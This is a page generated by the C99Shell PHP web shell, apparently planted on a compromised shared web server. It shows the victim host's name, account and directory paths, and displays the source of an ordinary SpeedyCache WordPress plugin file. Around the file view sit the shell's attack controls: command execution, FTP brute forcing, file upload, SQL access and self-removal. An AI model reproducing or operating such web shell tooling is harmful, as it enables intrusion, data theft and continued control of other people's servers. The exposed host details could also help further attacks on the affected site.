!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/speedycache-pro/main/   drwxr-xr-x
Free 290.48 GB of 429.69 GB (67.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     commoncss.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

/*
* SPEEDYCACHE
* https://speedycache.com/
* (c) SpeedyCache Team
*/

namespace SpeedyCache;

if(!
defined('ABSPATH')){
    die(
'Hacking Attempt!');
}

class 
CommonCss{
    
    static function 
get_endpoint($is_unusedcss false){
        global 
$speedycache;

        
$endpoints get_transient('speedycache_ccss_endpoint');

        
$target_file = empty($is_unusedcss) ? 'index.php' 'ucss.php';

        
$mirror 'https://s4.softaculous.com/a/speedycache/critical-css/' $target_file;        
        
$license strpos($speedycache->license['license'], 'SPDFY') !== '' $speedycache->license['license'];

        if(empty(
$endpoints)){
            
$res wp_remote_get(SPEEDYCACHE_API.'license.php?license='.$license.'&url='.rawurlencode(site_url()));

            
// Did we get a response ?
            
if(!is_array($res)){
                return 
$mirror;
            }
            
            if(empty(
$res['body'])){
                return 
$mirror;
            }

            
$body json_decode($res['body'], true);

            if(empty(
$body['fast_mirrors'])){
                return 
$mirror;
            }
            
            
$endpoints $body['fast_mirrors'];
            
            if(empty(
$endpoints) || !is_array($endpoints)){
                return 
$mirror;
            }
        }
        
        
$index floor(rand(0count($endpoints) - 1));

        if(empty(
$endpoints[$index])){
            return 
$mirror;
        }

        
set_transient('speedycache_ccss_endpoint'$endpoints180);

        
$mirror str_replace('a/softaculous''a/speedycache/critical-css/'.$target_file$endpoints[$index]);
        
        return 
$mirror;
        
    }
    
    static function 
schedule($schedule_name$urls){

        
$scheduled self::get_schedule(array($schedule_name));
        
$time time();
        
        if(!empty(
$scheduled) && isset(end($scheduled)['time'])){
            
// getting the last index to get the last scheduled event
            
$time end($scheduled)['time'] + 10;
        }

        if(
count($scheduled) > 10){
            return;
        }
        
        
$final_schd_time $time;
    
        if(!
wp_next_scheduled($schedule_name, array('urls' => $urls))){
            
wp_schedule_single_event($final_schd_time$schedule_name, array('urls' => $urls));
        }
    }
    
    
// Returns an array of cron event "speedycache_unused_css"
    
static function get_schedule($event_name){
        
$cron _get_cron_array();
        
        if(empty(
$cron)){
            return 
false;
        }
        
        
$scheduled = array();
        
        foreach(
$cron as $key => $crn){
            foreach(
$crn as $e_key => $event){
                if(!
in_array($e_key$event_name)){
                    continue;
                }

                
$args = [];

                foreach(
$event as $evt){
                    if(!empty(
$evt['args'][0])){
                        
$args $evt['args'][0];
                    }
                }
                
                
array_push($scheduled, array('name' => get_the_title($args), 'time' => $key));
            }
        }
        
        return 
$scheduled;
    }
    
    
// Adds the Critical CSS to the cache file
    
static function update_cached($file$css){
        global 
$speedycache;

        if(!
file_exists($file)){
            return;
        }

        
$content file_get_contents($file);
        
        if(empty(
$content)){
            return;
        }
        
        
$content = static::update_content($content$css);

        
// Updates the .html.gz file
        
if(!empty($speedycache->options['gzip'])){
            
self::update_gzip($file$content);
        }
        
        
// Updates the .html file
        
file_put_contents($file$content);
    }

    static function 
update_gzip($file$content){
        
        
$gz_file str_replace('.html''.html.gz'$file);
        
        if(
file_exists($gz_file)){
            
unlink($gz_file);
        }
        
        
$content gzencode($content6);
        
        if(!empty(
$content)){
            
file_put_contents($gz_file$content);
        }
    }
    
    static function 
log($log_name$message$url '-'){
        
$ccss_logs get_option($log_name, []);
        
        if(
count($ccss_logs) > 10){
            
array_shift($ccss_logs);
        }
        
        
$ccss_logs[$url] = array('time' => date('h:i:s'), 'message' => $message);
        
update_option($log_name$ccss_logs);
    }
    
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0042 ]--